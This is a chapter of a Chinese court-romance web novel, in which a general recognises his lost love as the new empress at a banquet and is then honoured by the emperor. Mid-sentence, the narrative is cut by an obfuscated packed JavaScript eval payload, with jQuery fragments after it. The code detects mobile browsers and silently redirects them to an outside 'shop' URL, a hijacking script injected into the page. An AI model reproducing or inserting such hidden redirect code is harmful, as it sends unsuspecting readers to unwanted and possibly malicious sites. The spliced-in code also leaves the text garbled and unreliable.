太和殿内灯火璀璨,觥筹交错间满目繁华。
周子衿端坐于凤位之上,朱红色的凤袍在烛光下流转着华美的光泽,她仪态万方,眉目沉静,一举一动皆是母仪天下的威仪与从容。
可若是仔细看,便能瞧见她眉宇间那一抹不易察觉的倦意。
这几日忙着梳理六宫事务,又为今日的宴会挑选合适的宗室女子,着实累得不轻,好在事情都办妥了,今日只需走个过场便罢。
周子衿微微侧目,看向下方左侧那几位盛装打扮的宗室女。
都是她亲自挑选的。
容貌端庄,性情温婉,出身亦是宗室中品貌兼优的。
李修明要的是将秦家与皇室捆绑,那她便挑几个真正拿得出手的,也算是尽了皇后的本分。
周子衿收回目光,轻轻端起面前的金樽,抿了一口御酒。
酒液入喉,温润绵长,她只是浅尝辄止,并未多饮。
目光不经意间掠过下方。
周子衿看见那道玄色的身影。
秦携。
镇北将军,今日宴会的主角。
秦携坐在左下方首位,一身玄色锦袍,身姿挺拔如松,那张脸棱角分明,剑眉星目,确实生得英武不凡。
周子衿的目光在秦携脸上停留了一瞬,随即移开。
她没有注意到,那道玄色的身影,此刻正死死盯着她。
秦携觉得自己的心被人狠狠剜了出来。
他坐在那里,目光落在凤位之上那道朱红色的身影上,周遭的一切喧嚣都消失了,只剩下她。
是她。
真的是她。
那双眼睛、那张脸,那个他刻在心里整整三年的人。
秦携无数次在边关的寒夜里想起她,想起上元节那晚,灯火映在她眼里的模样。他想过无数次再见到她的场景,却从未想过——
从未想过,会是在这样的场合。
从未想过,她会穿着凤袍,戴着凤冠,高高坐在那凤位之上。
她成皇后了。
皇帝今年四十有余,性情暴虐,膝下无子。
而她,今年才十八岁。
秦携的手死死攥着酒盏。
“秦将军?”
身侧有人唤他,秦携却恍若未闻。
那人又唤了一声,秦携这才猛地回过神来。
秦携深吸一口气,缓缓松开手,将酒盏放回案上,那动作看似从容,可只有他自己知道,他的手在微微颤抖。
“失礼了。”秦携对那人微微颔首,面上带着得体的笑容,声音却沙哑得不像自己,“方才在想些事情,多有怠慢。”
那人连忙摆手,连道不敢。
秦携没有理会。
他垂眼盯着面前的酒盏,努力平复着胸腔里翻涌的情绪。
可就在这时,那道朱红色的身影动了。
周子衿站起身,裙摆在金砖地面上轻轻拂过,发出细微的窸窣声。
她缓缓步下凤座,一步步走向下方。
秦携的心跳几乎停了一瞬。
他看见她走向自己。
不,不是走向自己。
她走向的是那几位宗室女所在的方向。
周子衿在那几位盛装打扮的宗室女面前停下脚步,面上带着得体的微笑。
“都起来吧。”周子衿的声音温和而端庄,,“今日是给秦将军接风,你们不必拘谨。”
那几位宗室女连忙起身行礼,口中称是。
周子衿微微侧身,目光落向秦携的方向。
“秦将军。”周子衿温和开口,“这几位是今日来赴宴的宗室贵女,本宫想着,将军初回京城,多认识几个人也是好的,来,你们与秦将军见一见。”
那几位宗室女齐齐上前,向秦携行礼。
秦携站起身,目光却不由自主地越过她们,落在那道朱红色的身影上。
她就站在那里,离他不过数步之遥。
近得秦携能看清她眉眼间那抹淡淡的倦意,能看清她唇边那抹得体的微笑,能看清她那双清澈的眸子。
那双眸子,曾经映着上元节的灯火。
如今,那眸子里只有陌生与疏离。
她不认识他。
她根本不记得他。
秦携只觉得心口像是被什么东西狠狠攥住,攥得他几乎喘不过气来。
“秦将军?”
身侧有人提醒秦携。
秦携猛地回过神,发现那几位宗室女正等着他回礼。
他连忙抱拳,微微躬身,声音沙哑:“秦携,见过几位。”
那几位宗室女连忙还礼,面上带着恰到好处的羞涩与端庄。
秦携没有看她们。
他的目光,始终落在不远处那道朱红色的身影上。
可她没有看他。
她只是微微颔首,便转身向自己的凤位走回去。
那道朱红色的背影,一步一步,离他越来越远。
秦携站在原地,看着那道身影渐渐远去,只觉得自己的心,也跟着一点一点沉了下去。
他想喊住她。
想问她,你怎么成了皇后?
想问她,当年上元节那晚,你可还记得我?
想问她,这些年,你可曾过得好?
可他能说什么?
他什么都不能说。
她是皇后。
他是臣子。
君臣之别,天壤之别。
秦携垂下眼帘,遮住眼底翻涌的情绪,缓缓坐回自己的席位。
他端起酒盏,将杯中酒一饮而尽。
酒液的辛辣滚烫远不及他心口的疼。
郑越的位置离得远些。
他不过是个副将,还没有坐在首位的殊荣,只在下方靠后的位置寻了个席位。
可他的目光,始终落在秦携身上。
没办法,这是他兄弟,他不看着谁看着?
郑越端起酒盏,假装在喝酒,眼睛却一刻不离地观察着秦携的动静。
他看见秦携在那几位宗室女上前行礼时愣了一瞬。
看见秦携的目光越过那几位姑娘,直直落在凤位方向。
也看见秦携端起酒盏,一饮而尽,那动作看似豪迈,可那手分明在微微颤抖。
不对劲。
郑越眉头微皱。
他太了解秦携了。
这厮虽然平日里话不多,可从来不是这副魂不守舍的模样。
今儿这是怎么了?从皇后进殿开始就不对劲,现在更是……
郑越的目光顺着秦携方才的视线,悄悄落在凤位之上。
周子衿正端坐于凤位,那张脸在烛光下显得格气度高华。
郑越看了两眼,便收回目光。
长得确实好看,可这跟秦携有什么关系?
他心中纳闷,又看向秦携。
这一看,他整个人愣住了。
秦携低着头,盯着面前的酒盏,一动不动。
可那张脸都要哭出来了。
郑越揉了揉眼睛,怀疑自己看错了。
秦携?
那个在战场上杀敌无数、浑身是血眼睛都不眨一下的秦携?
那个在羯族可汗面前横刀立马、面不改色的秦携?
秦携这副模样,简直像是要碎了。
郑越的心猛地一跳。
他忽然想起一件事。
三年前,他们离京之前,秦携曾单独出门过一次。
回来后,这厮便像是丢了魂似的,整日心不在焉,问他去做什么了,他也不说。
后来有一次,他无意间看见秦携在对着一个小巧的荷包发呆,那荷包上绣着兰草,一看便是女子之物。
他追问那荷包的来历,秦携沉默了很久,才说了一句话。
“上元节,遇见一个姑娘。”
就这么一句话,再不肯多说。
郑越当时还笑话他,说堂堂秦少将军,竟也有春心萌动的时候。
秦携没理他,只将那荷包仔细收好。
后来回了边关,这荷包的事便再没提起过。
可郑越知道,秦携一直收着那荷包。
因为有一次他偶然进秦携的营帐,看见那荷包正放在枕边。
郑越的目光再次落在凤位之上。
周子衿依旧端坐,眉目沉静,仪态万方。
郑越的脑海中忽然闪过一个念头。
那个念头太过荒诞,荒诞到他不敢相信。
可看着秦携那副快要碎了的模样,他又忍不住往下想。
难道……
难道皇后娘娘,就是秦携心心念念了三年的那位周家小姐?
郑越被自己的念头吓了一跳,连忙灌了一口酒压惊。
可那念头一旦生出,便如同野草般疯长,怎么也压不下去。
郑越又看向秦携。
秦携依旧低着头,一动不动,分明透着一股说不出的悲凉与绝望。
郑越的心也跟着沉了下去。
若真是如此……
若真是如此,那秦携这三年,岂不是……
他看着秦携,忽然觉得手中的酒盏格外沉重。
兄弟,你这是造的什么孽啊?
几位宗室女已回到自己的席位,正与身侧的人低声说笑,偶尔传来几声娇俏的笑声。
秦携依旧坐在原位,低着头。
周子衿没有看秦携。
她静静地坐着,指尖轻轻摩挲着酒盏的边缘,心中盘算着再过半个时辰,这宴会也该散了。
“皇上驾到——”
那声音穿透满殿的喧嚣,满殿的人随即纷纷起身,跪伏于地。
周子衿亦从凤位上起身,敛衽肃立,恭迎圣驾。
殿门大开,夜风裹挟着春夜的凉意涌入,吹得殿内烛火一阵摇曳。
李修明大步踏入殿中。
他今日穿着明黄龙袍,头戴翼善冠,眉宇间带着几分意气风发的笑意,那笑意在烛光下显得格外和煦,与平日朝堂上那个阴沉多疑的帝王判若两人。
高泽福紧随其后,手中拂尘轻甩,面上带着惯常的恭谨笑容。
李修明大步流星,径直
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533333|202670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走向御座。
行至御座前,他转过身,目光扫过跪了一地的众人,最后落在左下方首位那道玄色的身影上。
“都平身。”李修明朗声道,语气里带着难得的愉悦,“今日是为秦将军接风,不必多礼。”
众人谢恩起身,纷纷落座。
周子衿亦回到凤位,微微垂眸,静观其变。
李修明在御座上落座,端起面前的金樽,目光落在秦携身上,眼中闪过一丝满意之色。
“秦携。”
秦携起身离席,行至殿中央,单膝跪地。
“臣在。”
李修明看着秦携,目光慈爱,仿佛一个长辈在看自己得意的子侄。
“朕今日,有几句话要说。”
他站起身,端着金樽,缓缓步下御阶,一步一步,走向秦携。
满殿鸦雀无声。
所有人的目光都落在那一君一臣身上。
李修明在秦携面前站定。
“秦携。”楼下面再次开口,声音比方才更高了几分,传遍整个太和殿,“你可知,朕有多久,没有见过你这般的人物了?”
秦携垂首,不敢接话。
李修明却并不在意,自顾自地继续道:“秦家世代镇守北疆,自你祖父起,便为我大渝戍边御敌,你父亲秦卫,镇守边关三十余载,从未有过半分懈怠。”
他顿了顿,声音愈发洪亮:“而你——”
李修明看着秦携,目光灼灼。
“你自幼时便随父出征,十八岁岁独领一军,今年二十一,便斩了羯族可汗,解了我大渝北疆数十年之患!”
“好!好得很!”
李修明转身看向满殿的文武百官,声调激昂:“诸位爱卿,我大渝有此等少年英雄,何愁边患不平?何愁社稷不固?”
满殿文武齐齐起身,躬身行礼。
“皇上圣明!秦将军威武!”
那声音整齐划一,在殿内回荡开来。
秦携跪在殿中央,垂着头,面色沉静如常。
李修明转过身,再次看向秦携,眼中的满意之色愈发浓烈。
他弯下腰,亲手将秦携扶起:“起来。”
秦携顺着李修明的力道起身,垂首恭立。
李修明拍了拍他的肩膀,那力道不轻不重,恰到好处。
“秦携。”李修明声音恢复了惯常的威严,“朕今日,要封赏你。”
话音落下,满殿又是一静。
高泽福适时上前,手中捧着早已备好的明黄圣旨。
李修明却摆了摆手。
“不必念了。”他道。
高泽福躬身退后。
李修明看着秦携:“秦携,斩杀羯族可汗,立下不世之功,着加封为镇北将军。”
秦携再次跪下,深深叩首。
“臣,谢主隆恩。”
李修明点点头,示意他起身。
秦携起身,依旧垂首恭立。
李修明继续道:“秦携之父秦卫,镇守边关三十余载,功勋卓著,着加封为镇国公,世袭罔替。”
此言一出,满殿顿时响起一阵低低的赞叹声。
镇国公。
世袭罔替。
这是何等的恩宠?
秦携抬起头,看向李修明,眼中闪过一丝复杂的情绪。
“臣代家父,谢主隆恩。”
“还有。”李修明道,语气里带着几分深意,“秦携,你既已回京,总不能闲着,朕想着,给你安排个差事。”
秦携垂首,静待下文。
李修明嘴角微微上扬:“朕让你领禁军殿前指挥使一职,统领殿前禁军,负责宫城戍卫。”
殿前指挥使。
负责宫城戍卫。
这意味着什么?
对别人来说这是无上的宠信,对秦携来说却是折磨。
这意味着他要日日入宫,要随时听候皇帝召见。
要……离她更近。
“臣,领旨谢恩。”那声音沉稳如常,听不出半分异样。
可只有秦携自己知道,那声音里藏着多少苦涩。
“好。”李修明看着秦恭谨的模样,越发满意,“起来吧。”
秦携起身,退到一旁。
李修明转身,看向满殿文武,朗声道:“诸位爱卿,今日为秦将军接风,不醉不归!”
满殿响起一阵附和声,气氛再次热闹起来。
李修明回到御座,端起金樽,与众人共饮。
秦携亦回到自己的席位,端起酒盏,一饮而尽。
周子衿端坐于凤位之上,将这一幕尽收眼底。
她的目光在李修明身上停留了一瞬,又落在秦携身上。
李修明这是要将秦家彻底绑在自己身边。
明面上是恩宠,实则是掌控。
周子衿收回目光,端起茶盏,浅啜了一口。
她想起那日在御书房,李修明对秦携迟迟不归的震怒,想起自己那番话劝得他消了气,想起他今日这满面的笑容与封赏。
帝王之心,深不可测。